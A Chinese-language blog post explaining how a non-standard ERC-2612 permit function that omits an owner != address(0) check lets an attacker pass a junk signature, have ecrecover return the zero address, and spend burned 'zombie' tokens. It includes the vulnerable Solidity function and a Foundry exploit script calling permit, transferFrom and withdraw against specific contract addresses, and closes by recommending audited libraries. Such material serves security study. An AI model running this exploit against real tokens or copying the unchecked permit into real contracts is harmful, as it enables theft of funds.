不标准的 ERC2612:Permit 滥用零地址“僵尸资金”

  • Q1ngying
  • 更新于 2024-08-27 19:24
  • 阅读 732

不标准的 ERC2612 导致可利用 permit 滥用零地址的“僵尸资金”

在 ERC-2612 中,有提到这么一点:

由于 ecrecover 预编译在接收到格式错误的消息时会默默失败,并返回零地址作为签名者,因此必须确保owner != address(0),以避免批准使用属于零地址的“僵尸资金”。

在 ERC20 合约中,有一个很重要的点:当我们销毁(burn) ERC20 Token 时,实际上是通过向零地址转账的方式来实现销毁代币的。正常来说,由于零地址没有私钥,在合约预设函数以及权限控制的情况下,这部分资金只能通过协议来处理,其他用户无法利用这部分资金。但是,如果这个 ERC20 token 实现了 ERC2612,并没有使用 OpenZeppelin 等合约安全库,可能会出现如下的问题。 让我们来看下面这段代码:

function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
    external
{
    require(block.timestamp <= deadline, "signature expired");
    bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
    bytes32 h = _hashTypedDataV4(structHash);
    address signer = ecrecover(h, v, r, s);
    require(signer == owner, "invalid signer");
    allowance[owner][spender] = value;
    emit Approval(owner, spender, value);
}

这是一个 ERC20 合约(实现了 ERC-2612),其中的 permit 函数,初步来看并没有任何问题,但是回到我们最开始提到的,ERC-2612 中提到的问题: ecrecover 预编译在接收到格式错误的消息时会默默失败,并返回零地址作为签名者,因此必须确保owner != address(0),以避免批准使用属于零地址的“僵尸资金”。 我们先简单里了解一下 ecrecoverecrecover 是 EVM 预编译的(EVM precompile ecrecover)。预编译只是指已编译的智能合约的通用功能,因此以太坊节点可以有效地运行它。从合约的角度来看,这只是一个像操作码一样的指令。 但是存在一些安全问题:

  1. ecrecover 针对无效签名返回返回 0 地址,在使用 ecrecover 后,需要添加检测:owner != 0,以避免 approve 授权使用属于零地址的“僵尸资金”
  2. 签名是可塑的(签名拓展性攻击),可以通过限制签名的s值的右半段,这样大于n/2s值会变成非法值。所以我们可以进行限制,只允许大于或小于n/2s值的签名是有效的
  3. 如果哈希值不是在合约自身内计算的,攻击者可以构造看起来有效的哈希值和签名

让我们把刚刚 ERC-2612 中的那句话展开:

如果我们构造一个无效的签名,在·ecrecover还原签名地址时,他会得到零地址,换个说法,我们能够实现address(0) => approve(spender, value)这样,我们可以利用 transferFrom 调用我们原不能使用的“僵尸资金”。 来看一段 Poc:

contract Attack is Script {
    function run() external {
        vm.startBroadcast();
        Setup setup = Setup(0xA04c620d7Dd01d8F3C428C852640597fc43bfc83);
        Coin coin = Coin(payable(0xDc75492Cda82b67cBff388eD94f6505c104A70c1));
        // setup.register();
        coin.permit(
            address(0),
            0xaBc5E4485e7d718A2d85080A66b20b00e85626c2,
            15 ether,
            block.timestamp,
            32,
            0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9,
            0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9
        );
        coin.transferFrom(address(0), 0xaBc5E4485e7d718A2d85080A66b20b00e85626c2, 15 ether);
        coin.withdraw(15 ether);
        vm.stopBroadcast();
    }
}

上面代码中,我们调用Coin:permit(address(0), attackAccount, value, timestamp, v, r, s),其中的 v, r, s是我随便弄的一串无任何意义的但满足类型要求的数据,回看 Coin:permit函数的逻辑:他并没有检测还原出的owner 满足owner!= address(0),这就导致我们间接的获得了转移所有用户 burn 掉的 Token 的权限。 这是十分危险的,不过完全可以避免,使用 OpenZeppelin 等经过审计的库合约可以解决很多这样原本无需担忧的问题。

点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Q1ngying
Q1ngying
0x468F...68bf
本科在读,合约安全学习中......